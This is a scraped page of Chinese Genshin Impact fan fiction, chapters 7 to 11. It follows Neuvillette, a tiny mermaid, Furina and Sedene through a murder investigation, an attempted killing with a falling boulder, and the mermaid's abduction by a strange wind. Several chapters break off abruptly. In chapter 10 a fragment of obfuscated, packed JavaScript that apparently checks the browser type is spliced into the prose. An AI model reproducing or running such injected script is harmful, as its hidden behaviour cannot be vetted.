那维莱特记得露西恩已经在沫芒宫工作了七年,印象中,他从未见过露西恩如此伤心悲恸。 露西恩越哭越难过,鼻尖通红,泪珠大滴大滴地往下掉,“我和弗蕾丝昨天……昨天还约好了这个周末,一起去看新出的歌剧……她怎么就这么……” “露西恩姐姐,不哭了,不哭了……” 赛德娜在发泄过后,情绪稍稍好了一点,拍着露西恩的肩膀安慰露西恩。她声音还带着几分哽咽,听上去也闷闷的。 那维莱特稍作考虑,又等了片刻,但没等到露西恩平复心绪,反倒是等来了伊芮娅的再次的示警。 和刚才那会儿一样,伊芮娅的尖细声音毫无预兆地刺入那维莱特耳中。 从听到的那一刻,他闭目凝神,刚龙的感知能力尽数释放。 下一秒,他觉察到上方的空气传来了轻微波动。 那维莱特神色凛然,抬手凌空一拨,汹涌的水流倾泻而出,凝成一道蔚蓝色的天幕,挡在了露西恩和赛德娜上空。 霎时之间,一个和被塞入了福卡达尸体同款不同色的棕褐色橡皮球,狠狠砸在了天幕之上。 最是柔软无形的水形成的天幕,岿然不动地拦下了这一击。 在二者接触的第一时间,天幕立马从四周卷合,将棕褐色橡皮球牢牢控制在内,变成一个水球。 突发巨变,露西恩和赛德娜下意识抬头,目光齐齐投向处于头顶正上方的水球。 赛德娜反应极快,一把拉起露西恩就往那维莱特身边跑。 露西恩被她拽着往前冲,失神地回头望着水球,低喃道:“这怎么可能……” 等两人来到自己身边,那维莱特操控着水,顺势将它放到地上,接着收回水元素,露出了棕褐色橡皮球的全貌。 “露西恩姐姐,你方才说什么可能?”赛德娜离得近,听到了露西恩的低语,摇了摇她的手,问道。 闻言,那维莱特的目光也移了过来。 露西恩拍了拍胸口,咳了两声,慢声细语回道:“这附近是灰河的一处重要居民区。我小时候在这里长大,算得上比较熟悉周围的情况。” “我记忆中……”阳光正正好照在她侧脸上,她抬起头,光束划过她上下略微有些色差的脖颈,“这里的上方是波得大饭店,不存在顶部有个洞的情况,怎么可能会突然掉下来一个球?” 赛德娜也仰着头,仔仔细细观察了一会,“是唉,露西恩姐姐说的没错。上面确实什么都没有,这两个像皮球,究竟是怎么掉下来的呢?” 那维莱特眼底划过一抹异色,没有纠结于这一点,提步走到棕褐色像皮球前。 在这个棕褐色橡皮球的球身上,同样也有一条口子。但这个开口的大小,目测是灰白橡皮球裂口的两倍还多。 这一回,球身里面装着的,是一个巨大的近似六面外鼓突出的正方体重石。 想到方才他操控水幕时承接的重量,再看着眼前这般体积的石块。 那维莱特猛地阴沉下了脸,唇线紧绷。 他应邀来枫丹出任最高审判官之后,在一次外勤,偶然间发现了居住在海底的美露莘。 他视独特的美露莘们为水龙的眷属,将他们庇护在龙的羽翼下;他将美露莘带到了陆地,融入人类的世界;他素来以美露莘家长的身份自居…… 若他今日没来,他不在这里,没人挡住石块,赛德娜将会…… 此时,露西恩和赛德娜也跟了过来,看见了石块。 “这……”露西恩手掩住口,泪痕未干的脸蛋陡然失去血色,片刻后,才带着几丝劫后余生的感觉,说道,“幸亏那维莱特大人有神之眼,及时驱动元素力,拦下了巨石,不然……不然我和赛德娜今天就要交代在这儿了。” 赛德娜也被吓到了,小爪子把立起的耳朵按下,捂着头,悄悄又往那维莱特身边挪了几步,贴得更近了些。 那维莱特抚了抚赛德娜的头顶,眼底闪过一抹寒芒。 当时赛德娜和露西恩挨得很近,石块的落点很明确,就是对准了她们所在的地方砸下。 弗蕾丝身亡,露西恩是见过她最后一面的人;赛德娜为露西恩和福卡达验尸,而根据目前的已知信息,完全无法判断对方的目标究竟是露西恩,还是赛德娜。 “奥利维尔,过来。” 他声音如冬日南下肃杀的北风,冷得让露西恩不自觉打了个寒颤。 藏在源水之滴里的伊芮娅,也被周遭突然凝固到死寂的低气压给吓到了,瑟缩了一下,抱住自己的尾巴,有些害怕。 因为此次是那维莱特控水接球,水的质地柔软如丝绸,就算是装有巨石,重量不轻的橡皮球撞在上面,都没有发出太大声响。所以此时的警备队完全没有听到这边的动静,还在奥利维尔的指挥下,一点一点处理福卡达的死亡现场。 “奥莉维尔。” 那维莱特的语气更冷了些。 奥利维尔听到声音,扭头看过来,发现的确是那维莱特在叫他,赶忙三两句极其精简地交代完下属,跑了过来。 “那维莱特大人,您叫我有……”说至一半,他看见了棕褐色像皮球,瞳孔一缩,话头生生顿住。 “好大一块石头。”奥利维尔吞了下口水,目光扫过露西恩和赛德娜,干涩道。 那维莱特严肃道:“奥利维尔,你带警备队清理现场,同时将此案上递逐影庭一同查办。明天下午休班之前,把报告送到我办公室。” “是! 7.Chapter 7 《[原神]我可是那位来客养的鱼》全本免费阅读 7.2 Tuesday 下午多云 “天呐!它小小一只,好可爱!”芙宁娜捂住嘴,异色的瞳孔中闪动着点点星光,“你是从哪里找到的它?是海里发现的新品种吗?还是其他国家送过来的?” 那维莱特从她跃动的眸子里,察觉到一种“她也想养”的意味。 他沉默片刻,脑中思索着要如何回答她的问题。 谁知,芙宁娜突然凑上前,伸出手指碰了碰伊芮娅的头顶,笑着打了个招呼:“你好呀,小宠物。” 那维莱特面色一动,眉峰紧了紧,手往回缩了一些,制止了她。 芙宁娜一愣,脑袋上的呆毛抖了抖,手僵在半空。 声音从空气传播到水里,会产生一定程度上的失真,加之芙宁娜性子咋咋唬唬,说话的语速也快,所以方才伊芮娅的源水之滴里没听清楚她具体说了些什么。 现在可不同了,摸头在人鱼一族的文化里,是表达亲昵的一种肢体动作,这个就暂且不论。关键是凑到了它眼面前,然后来了一句“小宠物”是怎么想的? 伊芮娅扁着嘴,一百八十度转了一面,尾巴对着芙宁娜,小手拽了拽那维莱特的衣袖,“叭叭。” 「委屈,要蓝鱼鱼哄。」 闻言,芙宁娜一怔,遽然抽回顿在半空的手,用手扇了扇风,缓解尴尬,随之,张口就是夺命三连问:“爸爸?你的孩子?龙小时候居然长这样的吗?” “伊芮娅不是我的后代,也不是我的宠物。”那维莱特感觉额头的青筋跳了跳,倍感无奈,解释道,“每一种元素的龙,都是由天地孕育而出的生灵,世间唯一。” 芙宁娜点点头,抱着手,等他接着往下说。 “你身为水神,应当听过提瓦特只是世界树一条枝丫上的一个小世界。除此之外,还有存在许多我们未知的世界。” “嗯?这个……这个我当然知道了啊。”芙宁娜稍作犹豫,而后附和道。 那维莱特一边用手帕擦拭伊芮娅打湿的银发,一边继续说道,“伊芮娅不知是何种原因,从其他世界来到了提瓦特。它是异世的降临者。” 芙宁娜眼底闪过几分惊讶。 “我此前的沉默并非默认,而是我还想思考怎么回答你的问题。确切的说,我对伊芮娅只浅显地了解它的名字,与它明面上表露出的行为习惯,除此之外,我均一无所知。” 顿了顿,那维莱特自认委婉地提醒道:“你方才说它是我的宠物,很不尊重它。” “我……我不知道。”芙宁娜有些羞愧,面色泛红,低下头,提着小裙子对伊芮娅微蹲行了一个淑女礼。 “伊芮娅,对不起,我为我方才无知地冒犯,感到抱歉。” 伊芮娅转过身面对着她,中气十足地叫了一声:“吼呀!” 「没关系!我原谅你啦。」 “看来你们相处得不错。”那维莱特淡笑,随即看向芙宁娜,“我今日公务繁重,伊芮娅和我待在办公室难免无趣。我记得你今天下午没有日程,不如你带它出去,在枫丹廷逛一逛。” “可以吗?可以吗!”芙宁娜激动地跺了跺脚,“伊芮娅,你愿意和我一同出去吗?” 伊芮娅歪着头,脑子里转了一会他们的对话,然后看了看那维莱特,又微微前倾,闻了闻芙宁娜身上的味道。 接着它摇了摇头,主动伸手握住芙宁娜的食指,“咿呀~” 「好呀,身上有蓝鱼鱼味道的人类姐姐。」 见它同意,那维莱特暗暗松了一口气。他下午不仅需要处理因上午外出而滞留的公务,还要会见至冬的外交官仆人。 她在昨日审判之前曾递交文书,主动提出由壁炉之家来接管久世浪行名下的智源慈善孤儿院。 仆人的背后是至冬女皇,以她的眼见和能力,难免会看出源水之滴中的端倪。为保万全,伊芮娅不适合跟在自己身边。 之后,那维莱特同芙宁娜简单讲述了,他与伊芮娅相处这一日半下来,所领会的它的一些动作和习惯。 接着他重新召出源水之滴,将小人鱼放进去,又同芙宁娜详细说了源水之滴的使用方法。最后,他还不忘拉开抽屉,拿了钱,嘱托芙宁娜帮伊芮娅买一颗珍珠。 芙宁娜强忍着不耐,终于听那维莱特絮叨完了注意事项,高高兴兴带着伊芮娅出门去了。 临出门前,伊芮娅回头冲那维莱特摇了摇尾巴,“呼啦啦~” 「我走啦~」 那维莱特颔首浅笑,“玩得开心。” · 伊芮娅可怜兮兮地跟在那维莱特身边,飘了一整个早上中午的凶杀现场,现在已经下午一点过了,而且早上也没有吃早点,肚子里早就空空如也。 离开沫芒宫,它弱弱叫了一声,等芙宁娜看过来,便小手揉着肚子,然后又比了一个鼓着腮帮子吃东西的动作。 芙宁娜与那维莱特共事也有五百多年了,还算了解那维莱特,一看伊芮娅这样,便心知最高审判官自己不吃饭就算了,这是把伊芮娅的午饭也给忘了个干净。 于是,芙宁娜决定先带它来波德大饭店饱餐一顿。毕竟只有吃饱了肚子,恢复满满的活力,才有力气好好玩。 刚好,德波大饭店常年专门给她留有二楼的雅座。现在已经过了饭点,到时搬来两个从璃月传入的屏风,左右一档,坐在里面用餐,倒也不用担心伊芮娅会被旁人看了去。 走了德波大饭店坐下,因为那维莱特没有和她说伊芮娅的口味,芙宁娜想了想,只点了几样平日里自己喜欢吃的东西。 毕竟在明面上,只有芙宁娜一个人来用餐,她又是枫丹的神明,稍有些不寻常的举动,都容易被有心之人放大数倍,然后刊登上街头小报,引起不小动静。 等支好屏风,上了菜,芙宁娜交代店员无须上来打搅,便将手套一摘,手伸入了源水之滴。 她的手比那维莱特小了将近一半,伊芮娅摆弄着尾巴,发现不太好整条鱼趴上去,便垂着尾巴,半坐在她温热的掌心。 “吼呀。” 「我好啦。」 芙宁娜小心翼翼托着它离开了源水之滴。 除了吃食,她特意点了一杯白水,又拽过两个餐巾盒摞在一起,高度刚好可以让伊芮娅坐在盒子上,尾巴自然垂入杯中,泡泡水。 < 8.Chapter 8 《[原神]我可是那位来客养的鱼》全本免费阅读 7.2 Tuesday 下午转晴 一阵风轻轻吹过,青色的窗帘随之鼓起。没一会,就连汇聚在蔚蓝天空中的云层也渐渐被风拂散而去。欲落未落的雨,悄然隐匿于世,再无痕迹可寻。 芙宁娜听到声音,抬眼,疑惑地望着半个身子都陷在柔软日光里的伊芮娅。 伊芮娅记得她的叮嘱,没有出声,竖起两只小手,动作联动神情,张牙舞爪地凭空比划了半天。 芙宁娜目不转睛注视着它,陷入了罕见的沉默。 她完完全全,没有看懂伊芮娅想表达什么。 眼瞧着芙宁娜没什么反应,伊芮娅放弃了,抓起碎鱼块往嘴里猛塞了两口,嘴里边嚼着边指向源水之滴,然后又侧身指了指屏风后面。 这回的肢体语言对比方才,显得格外简单易懂。 芙宁娜心领神会,随手将伊芮娅给她玩的头发塞进兜里,接着双手捧起小人鱼,将它放回源水之滴里,踱步绕过屏风,只见露西恩与弗米莉的桌子同她这桌,中间隔了一张空桌。 弗米莉率先看见了芙宁娜,眼中的惊讶与呆滞一瞬而过,本能地起身,“芙宁娜大人?” 弗米莉是弗蕾丝的亲妹妹,姐妹两人生得极象,年岁上大小相差了七岁。在她五岁时,母亲突然失踪,父亲悲痛过度,患病离世。可以说弗米莉从小,就是由弗蕾丝一手带大,两人感情极好。 看见她的举动,露西恩举到唇边的杯子一顿,纤长的眼睫在脸上投下一层淡淡的阴影。她很快放下杯子,推开椅子站了起来,转过身,温良的目光不经意间,从源水之滴上一扫而过,垂首柔柔问礼。 芙宁娜倒是不甚在意地摆了摆手,提步就往外走。反观伊芮娅,它目不转睛地盯着露西恩下午新换的裙子,甚至到了恨不得将眼珠子直接粘上去的地步。 伊芮娅早上见她的时候,露西恩穿的是一条典雅的淡粉色裙子,现在换成了一尾珍珠白色的巴斯尔裙,脖颈上还点缀了一朵用蕾丝制作而成的白色康乃馨颈圈。 下一瞬,芙宁娜带着看呆了的小人鱼,与两人擦肩而过。 这时,伊芮娅才堪堪扯回神思,连忙急慌慌地叫了一声,而芙宁娜的脚步,也刚好在同一时间停下。 她突然想通伊芮娅刚刚在比划什么了。 芙宁娜立马折头,问道:“露西恩,那维莱特特意调来保护你安全的发条机关呢?” 那维莱特刚才和她说过,这是很有可能是一个连环凶手案,而露西恩或许就是凶手的下一个目标。 露西恩抚裙坐下的动作稍稍一僵。 她重新站好,低下头,披散在肩的黑色长发遮掩住不自然的神情,手轻轻抚平绸缎娇嫩的折痕,片刻后,略略抬眼,咬唇小声道:“水神大人,我是……偷跑出来的。” “嗯~”芙宁娜抱着手,微微扬起下巴,“很好,看来那维莱特很快就需要为档案馆部长的位置,重新物色人选了。” 弗米莉毫不犹豫地站出来,为她辩解道:“水神大人,露西恩姐姐是担心我。因为我在德波大饭店当临时工,所以她才会来这里。” 露西恩绷紧了嘴角,声音很是干涩:“对不起,水神大人。我不应该擅自离开沫芒宫,但我实在放心不下弗米莉,她……” 芙宁娜抬手,淡淡打断了她,“不用和我解释,我对子民的个人行为并不关心。” “水神大人,这件事,您能不告诉那维莱特大人吗?”露西恩眼底透出一抹难以掩饰的期盼。 芙宁娜脸上没什么表情,摊了摊手,转身丢下一句:“我告不告诉他,等你活到明日,不就知道了吗?” 出了德波大饭店,芙宁娜打算带着伊芮娅去珠宝店,给它挑一枚珍珠。 伊芮娅在源水之滴里说话,只有开过权限的芙宁娜可以听见。它此刻也是没了顾虑,“咿呀咿呀”地叫唤了许久。 芙宁娜几次停下来,才一点一点从它的动作里拼凑明白,它在担心露西恩,觉得她们不应该就这么走了。 “不用担心她。”芙宁娜找了个长椅坐下,双手抱着源水之滴,对里头的伊芮娅解释道,“平时在沫芒宫,看露西恩柔柔弱弱的一个人,没想到她竟有躲过发条机关的本事。” “发条机关的能量来源是枫丹特有的律场混能,这就使得它集攻击防御速度于一体,整体实力极其强劲,是枫丹主要的军备力量之一。露西恩能在不惊动发条机关和沫芒宫护卫的情况下,顺利从沫芒宫里偷跑出来,可见她自身实力之强。” “这种程度啊,我估计应该只有拥有神之眼的人,才会对她构成威胁。然而在这滑稽荒诞的世界上,哪里有这么多凡人,能获得神的眷顾,拥有神之眼呢?” 伊芮娅被她这一番长篇大论绕得晕晕乎乎,开始抱着头,原地自闭,消化信息。 没等它理解完,芙宁娜就着它来到了枫丹廷目前最受欢迎的珠宝店里。 一进来,琳琅满目的各色宝石珍珠,就把伊芮娅勾了个神魂颠倒,哪里还记得露西恩的事儿。 芙宁娜费了好一番功夫,才把热情如火的店员支开。她自己一个人带着伊芮娅,在店面里绕了好几圈。最后伊芮娅选了一个它一眼就看中的,上面挂着一颗小珍珠,又是编织可以调节的戒指。 芙宁娜趁着店老板不注意,悄悄在柜台上放下那维莱特给的钱,而后把戒指放入源水之滴,递给伊芮娅, 它握着戒指玩了一会,便用尾鳍从戒指中间穿过一个角,翘着尾巴一甩一甩地玩。 出了店,芙宁娜眼瞧着天色不早不晚,时间有些尴尬。这个点儿,若是再带着伊芮娅去什么地方溜达一圈,回沫芒宫就会比较晚。 她考虑了片刻,想到那维莱特对美露莘的“护崽”程度,索性准备慢悠悠地往回走。 路上,芙宁娜开始给伊芮娅介绍起枫丹的发条机关。 当然,伊芮娅是不怎么能听懂的,不过它也不排斥,十分配合地睁着大眼睛,好奇地端详每一个遇见的人形发条机关。 直到,她们遇见了发条机关狗…… 芙宁娜才远远看见,正打算走近一点再开口讲解,便被耳朵里炸开的尖叫给吓了一跳。 万幸的是附近没什么人,不然“号外!号外!昨天下午五点,水神芙宁娜大人走在街上,莫名其妙失了仪态,平白无故炸了呆毛”,这一重大娱乐新闻,明日就能登上街头小报的头版首页。 芙宁娜深呼吸了几次,拍了拍胸口,恢复了一直以来她刻意维持的“端庄”形态。 “伊芮娅,你怎么了?”她担心地望向源水之滴。 小人鱼连一直不愿放下的珍珠戒指都顾不上了,本能地卷起尾巴,死死捂在眼睛前面,“嘤,狗… 9.Chapter 9 《[原神]我可是那位来客养的鱼》全本免费阅读 7.2 Tuesday 傍晚彩霞 “啊啦?” 「怎么啦?」 伊芮娅被转得有点晕,甩了甩脑袋,吐出来两个没飘过半米就炸开的水泡泡。 “伊芮娅。”那维莱特严声正色道,“从高处随意往下跳很危险。” “咿呀~”伊芮娅伸出小手,竖起一个大拇指,指了指自己,又比了一个展示手臂肌肉的姿势。 「没关系哒!它经常这么跳~」 那维莱特:“……” 他头一回觉得,能很快读懂伊芮娅想表达什么,也不是件好事…… 想到它在灰河的两次预警,那维莱特猜测小人鱼或许有看见未来、预感危险的能力,没再多说什么,唯有轻软地把小人鱼放下的动作,出卖了他仍旧有些忧虑的内心。 他从桌边茶盘里拿出一个茶杯的碟子,往里面倒了些墨水,又弯腰从下方抽屉取出一沓信签纸,两样东西一起放到了伊芮娅面前。 那维莱特:“这里暂时没有可以供你持握的东西,你直接用手指蘸墨书写会更方便些。” 话落,伊芮娅立刻反手丢了快赶上它整条鱼长的羽毛笔,小脸上堆满了笑意,欢快地回了一声,“吼呀!” 伊芮娅的尾巴很漂亮也很长,尤其是加算上它宽大的尾鳍之后,它整条尾巴的长度是上半身的两倍有余。 小人鱼趴在桌上上,双手使劲一撑,尾巴中段顺势发力,成功撑起了自己的上半身。 那维莱特略感讶异,心中暗叹异世之奇妙。他这还是头一次见没有脚的鱼,可以单纯凭借尾巴的力量,稳稳立在平面上。 这个姿势若要硬要类比,看起来倒是与人类上身挺立,以膝跪地差不太多。 那维莱特从分好类的文件堆里,准确地抽出几本就写了些诸如申请更换键帽之类,没什么实际意义的问安请示类文书,用它们将信签纸垫高,又把小墨碟放上去,固定在纸面靠右下角的位置,方便伊芮娅蘸墨书写。 然后,那维莱特眼睁睁望着小人鱼“啪叽”一声,两只手同时按到茶盏底部,墨汁四溅而出。 好巧不巧,就有这么几滴墨珠,飞了老远,溅到了那维莱特方才还在批复的文书上。 除了桌上溅的,伊芮娅自己也没能逃过一劫。它白净的小脸和美美的裙子上也染黑了不少。 伊芮娅一愣,从墨汁里抬起手,无措地顿在半空,垂下头。 那维莱特揉了揉额角,随后指尖微动。 已经被纸张和布料吸收了的墨珠,仿佛被按下了时光机的倒放按钮,与载体分离,凝聚成墨色的水滴。紧接着,这些墨汁连同粘在伊芮娅小手上的那部分,一齐汇聚成一个小黑水球,重新回到了茶碟。 “咿呀……” 「对不起,蓝鱼鱼。伊芮娅不是故意的……」 那维莱特轻轻揉了揉它的头,“没关系,下次记得动作轻一些。” “吼呀!” 伊芮娅握拳保证。 接着,它两只手掌放在茶碟上空,一点一点往下降,等感觉手掌传来了湿意,它赶忙停下。 “吼呀~” 「蓝鱼鱼,看,我会啦~」 那维莱特注视着小人鱼欣喜的表情,嘴角不自觉扬起了一个浅浅的弧度。 “伊芮娅很聪明。”他温和地肯定道。 见小人鱼开始埋头专心致志地写写画画,那维莱特想着,等伊芮娅写完自会叫他,便没再多加干涉什么,拿起被伊芮娅甩到一旁的羽毛笔,继续批复今日送来的文书。 然而,他忽视了一点。 因为伊芮娅能听懂提瓦特的语言,那维莱特便自然而然地以为两个世界的语言文字系统相近,虽然这一点也确实如他所想。但事实是,伊芮娅在星海还没到入学的年龄,能听懂语言和会写字表达,完全就是两码事,何况现在它连发音和说话都还不太会。 于是,片刻之后,那维莱特看着伊芮娅完成的精彩画作,傻了眼。 小人鱼下巴一抬,翘着鼻子,有点小自傲地抱着胸,尾鳍悠闲地拍打着桌面。若是忽视尾巴,伊芮娅此刻的动作,简直和芙宁娜如出一辙。 “伊芮娅画的画技……”对上伊芮娅亮晶晶的紫眸,那维莱特生生咽下“有待提高”四个字,换成了略显干涩的“自成一派”。 “咿呀~” 伊芮娅被变相夸奖了,一下子小脸爆红,就连尾巴尖尖都缓缓泛起红晕。 那维莱特面色不变,佯装无碍,捏着一整幅都是由一个一个小小的墨爪子,印在纸上构成的画作,仔细辨认了片刻,总算是看出点苗头。 “伊芮娅和芙宁娜在吃饭的时候,遇上了露西恩,是吗?” 仔细辨认,可以发现那维莱特的语气,充满了猜测与不确定。 伊芮娅龇着牙,学着那维莱特刚刚说话的口型,“嘶……嘶呀~” 接着,它两只手指尖对在一起,搭出一个房子的模样,“啵啵。” “在德波大饭店?” 伊芮娅摇了摇头。 随着它摇头的动作,脖颈挂着的小珍珠也晃了晃。 那维莱特沉思片刻,眸光落在珍珠上面,“所以,伊芮娅是在德波大饭店遇到带了颈饰的露西恩,才会想带颈饰的吗?” “嘶呀。”伊芮娅小手握着珍珠。 随后,它面色变得有些焦急,拽了拽那维莱特的袖口。 那维莱特:“露西恩有实力离开沫芒宫,想来不会出事,不用太过担心她。” 伊芮娅听到他和芙宁娜的说辞别无二致,也放下了心,指了指茶碟,“象~” “伊芮娅还可以玩半个小时。”那维莱特欣然同意。 时间啊,总是在专注地做某件事中流逝得飞快。 转眼,夕阳已经靠山了。碧色天空的一角淹没在金橘色的余晖中,前方不远处,则横着数条五颜六色的云彩。 在距离那维莱特下班只有不到两分钟的时候,办公室的木门,被人叩响了。 一个干脆利落的女声传了进来:“那维莱特大人,您找我。” 伊芮娅反应很快,立马爬下身子,一扭一扭,匍匐前进到障眼水雾的范围里。 那维莱特瞧着它的动作,控制不住轻笑了一声。 接着他抬头,看了眼挂钟上的时间,没有丝毫犹豫,“请进。” 女子随手整了整衣领和帽子,推门进入,勾脚很轻松地就带上了厚重木门,并且全程没有发出丝毫声响。 “那维莱特大人,很抱歉在临近下班 10.Chapter 10 7.3 Wednesay 早上 晴好 翌日,天的尽头将将冒出一弧金边,那维莱特就已起身。 他穿戴好身上的衣物,习惯性地侧身伸手,去取放在床头柜上的深蓝手套。 “咚”的一声,他修建圆润的指甲碰到了玻璃鱼缸。 昨天下班之后,他带着伊芮娅打包了餐食,回到住所,用完膳,陪小人鱼玩了一会,便早早歇下。 临睡前,伊芮娅闹了小脾气,不愿意一条鱼孤零零地躺在客厅里,那维莱特就把玻璃鱼缸搬到了床头柜上。 此刻,伊芮娅侧躺在贝壳里,身上盖着与贝壳同色的粉色海草,手里抱着一个圆盘形的海螺贝壳,睡得正香。 那维莱特看了一会,踱步去书房,在一张白纸的最上方,工工整整地写了一排字。接着,他按着字与纸张边缘的上间距,对折,撕下一张上下间距相同的长方形纸条。 而后他去了餐厅,准备好一个大盘子和一个小碟子,用果蔬简单做出一龙一鱼的早餐,端着小碟子回了卧室。他将小碟子放在床头柜的一侧,又把纸条压在下面。 最后,那维莱特把卧室的窗帘拉开一半,吃完早餐后出门了。 日渐东升,刺眼的阳光偷偷绕过藏青色的窗帘,洒进房间。 没一会,水面泛起了金鳞。 伊芮娅本能地翻了个身,背对着窗子,又揪起海草盖住脸。可惜淡粉色海草的遮光效果极差,它仍旧能感受到眼前是一片明晃晃的白。 这两日,伊芮娅先是突降异世生了一场小病,后面又精神亢奋地在水球里飘来飘去,跑了好几个地方,无论是身体还是心理,都疲累得不行。 被恼人的光打搅休息的小人鱼一只眼微微张开一条缝,却又拿太阳的光束没什么办法,委屈地“嘤”了一声,索性反过身子,将脸完全完全埋在柔软的海草枕头里。 又睡了一会回笼觉,伊芮娅迷迷糊糊听见有人翻书的声音,于是,黑白两个背着翅膀的小人在脑海中,就起床还是赖床这个问题,吵了个翻天。 最终,它揉着眼睛,直挺挺坐起来,“咿呀~” “你醒啦,小鱼鱼。”赛德娜听见动静,立马放下手里的案卷,手一撑,跳下高脚凳,小跑到鱼缸前面。 因为那维莱特担心她的安全,让塞德娜最近几天都住在沫芒宫里。由此,她自然就成为了临时照顾伊芮娅的最佳人选。 伊芮娅听到陌生的声音,下意识抓住海藻被子往上一掀,尾巴卷成个鱼团,躲在里面。 赛德娜以为自己吓到了小人鱼,顿时僵在原地,搓了搓手,显得格外无措。 过了一小会,伊芮娅没听见外面有什么响动,便小脸侧贴床,揪着被角,一点一点往上抬,露出一条缝,小心翼翼地看向外面。 大眼睛和竖立在头顶的大耳朵,是它见过的美露莘赛德娜。 这下伊芮娅放心了,从贝壳里出来,轻轻晃动着尾巴,浮在水里保持平衡,然后将海藻被子抱出来,抖了抖,叠好,又规规整整放进去。 床上用品是昨晚那维莱特给它新做的,伊芮娅超级喜欢,特别爱惜。 收拾完床榻,伊芮娅游到水面上,冲着赛德娜挥了挥手,“吼呀。” 「你好呀。」 见状,赛德娜心里悄悄松了一口气,欢快回应道:“你好小鱼鱼,初次见面,我叫赛德娜。那维莱特大人今早有一场很重要的庭审,你当时还没睡醒,所以那维莱特大人便叫我过来陪着你。对了,那维莱特大人给你留了字条。” 伊芮娅摇摇头,表示自己知道了。 赛德娜紧接着一手端起小茶碟,一手拿着纸条,对着念道:“午归,赛德娜会过来,若要外出,一定注意安全。” 听到可以外出,伊芮娅眼底亮了一下,迫不及待潜下去,按昨晚那维莱特教它的,自己穿好了裙子,浮上来三两口解决早餐之后,扒着玻璃缸壁,兴致勃勃地“咿呀”了好几声。 赛德娜则是趁着小人鱼捯饬自己的时候,把她写了昨天下午和今天半个早上的验尸报告按顺序装订,垫着脚放到那维莱特的书桌上。 她这周本就是轮班休息,昨早不过是路上遇见,临时过去帮忙。这个案子警备队报给逐影庭立案侦查之后,上级领导考虑到连环凶杀的特殊案件性质,出于保护她美身安全的考量,就没有划分给她负责。 末了,塞德娜把自己的东西收进小挎包里,返回卧室,“小鱼鱼,你弄好了吗?” 伊芮娅垂着尾巴坐在缸壁上,就着果汁咽下最后一小块面包,翘了翘尾鳍,“吼呀~” “我想先回家一趟放放东西。”塞德娜抽了一张纸巾打湿,一边给伊芮娅擦手,一边询问它的意见,“唔,顺道还可以去一趟翠丝塔家。昨天我没有去找她一起采买食物,需要和她道歉。然后我们再去其他地方玩,可以吗?” “吼呀!”伊芮娅很好说话地同意了。 塞德娜把那维莱特留下的源水之滴抱过来,让伊芮娅藏进去。 她没有元素力,那维莱特托付她的时候伊芮娅还没醒,不能像当时给芙宁娜那样,直接把源水之滴设定成自动跟随,所以塞德娜只能一路把源水之滴抱在胸前。 离开沫芒宫,早已安排好的两个发条机关,自动跟在了塞德娜后方,一路守护。 现在已经临近十点了,赛德娜忧心一会伊芮娅玩的时间不够,两条小短腿走得很快,回家放了挎包就出来,紧接着往隔了一条街的翠斯塔家走。 来到她家门口,赛德娜单手托着源水之滴,屈指扣门。 “咚、咚、咚……” 敲了一会,屋子里头没有任何声响。 伊芮娅侧耳听了一会,从源水之滴里伸出两个指头,轻轻拉了拉赛德娜的衣服,“咿呀。” 「里面好像没人呢。」 “哎?翠斯塔不在家么,好奇怪啊。”赛德娜心中疑惑不定,又敲门等了一会,有些泄气,重新两只手抱着源水之滴,垂头沮丧道,“翠斯塔不太喜欢出门,按理来说她应该在家的呀。小鱼鱼,你说,她是不是生我气了,不愿意给我开门。” “不造呀。”伊芮娅隔着球壁,小脸贴了贴赛德娜的掌心,安慰她。 郁闷了一会,赛德娜不想轻易放弃。她和翠斯塔是非常好的朋友,遂尝试和伊芮娅商量道:“我们再等等?说不定翠斯塔一会就回来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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妖风一股劲打着旋儿地往前刮,豁喇喇地将四周树木吹得摇头晃脑。翠绿的叶片飒飒落如雨,簌簌卷在风里。 不多时,这股妖风刻意撕扯,裹挟着的大量树叶,遮挡住了深蓝色的源水之滴。随之,伊芮娅陷入了一片幽邃的黑暗之中。 它深呼吸了几次,掰着手指,小声数数计时。 在伊芮娅数到六的时候,源水之滴“咯噔”一下,发疯般地滚动骤然停止。下一瞬,它猛地撞上源水之滴的圆顶,失重下落的感觉随之袭来。 与此同时,赛德娜追逐出百米开外的妖风,在她眼前猝然转向,夹带其中的树叶爆裂炸开,仿佛冬日雪临,漫天四散,悠悠飘落。 而地面上,空空如也。 这股风,就这么轻而易举地从她手里抢走了伊芮娅,又在她瞳孔中消失泯灭,乃至杳无痕迹,难以追踪。 分明烈日当空,可赛德娜却觉得如坠冰渊,周身发寒。 小人鱼不在了,她要如何向那维莱特交代! 11.Chapter 11 7.3 Wednesay 中午天阴 赛德娜找了一圈,没什么收获,不死心,在返回沫芒宫同那维莱特汇报和再在失踪地点找找的两个选项里,毅然决定继续找。 她又以风消失的地方为圆点,辐射到四周两百米的范围,仔仔细细,甚至连垃圾堆都不肯放过,用树枝一个一个扒拉开,地毯式搜查了一遍。 可惜的是,她翻找了快一个小时,却连哪怕只是一个可疑的物件,都没找到。简直是一场堪称得上,白白浪费了最佳救援时间的井中捞月活动。 这阵妖风来得奇怪,消失得又快,赛德娜拿它没辙,沮丧地垂着头,一路跑回沫芒宫,敲响了那维莱特住所的木门。 这个点,那维莱特已经结束庭审,从歌剧院回来有一会了。 他坐在洒落了半匣金光的书桌前,整理装订夏沃蕾破晓时分送来的案卷,为上午结束的财政部贪腐案收尾。 这两日枫丹不算太平,此案证据确凿,又是一向负责、办事稳妥的夏沃蕾承办此案。加之,关键性证据,也就是财政部长特诺法兰藏于屋顶的暗账被夏沃蕾拿走,而她在情急之下,来不及制作替身,只得取出内页,留下笔记本的套壳。 在特诺法兰察觉不对,打开查看时,夏沃蕾巧妙地让下属以查案之名来访,打断了他翻看的动作,迫使他仓促藏起匣子,应付特巡队员。 同时,夏沃蕾安排下属借此将他骗到沫芒宫,美其名曰加班配合特巡队工作,实为将他控制住,以便抓捕。而她自己,在面见了那维莱特之后,则在争分夺秒,调取整理申请批捕所需的文件材料。 中途,她收到消息,留在沫芒宫的特诺法兰好像发觉事情不妙,几次三番提出想要回家,甚至趁着上厕所的时机,想要溜走,却被同是起夜的赛德娜偶然遇见,给拦了下来。 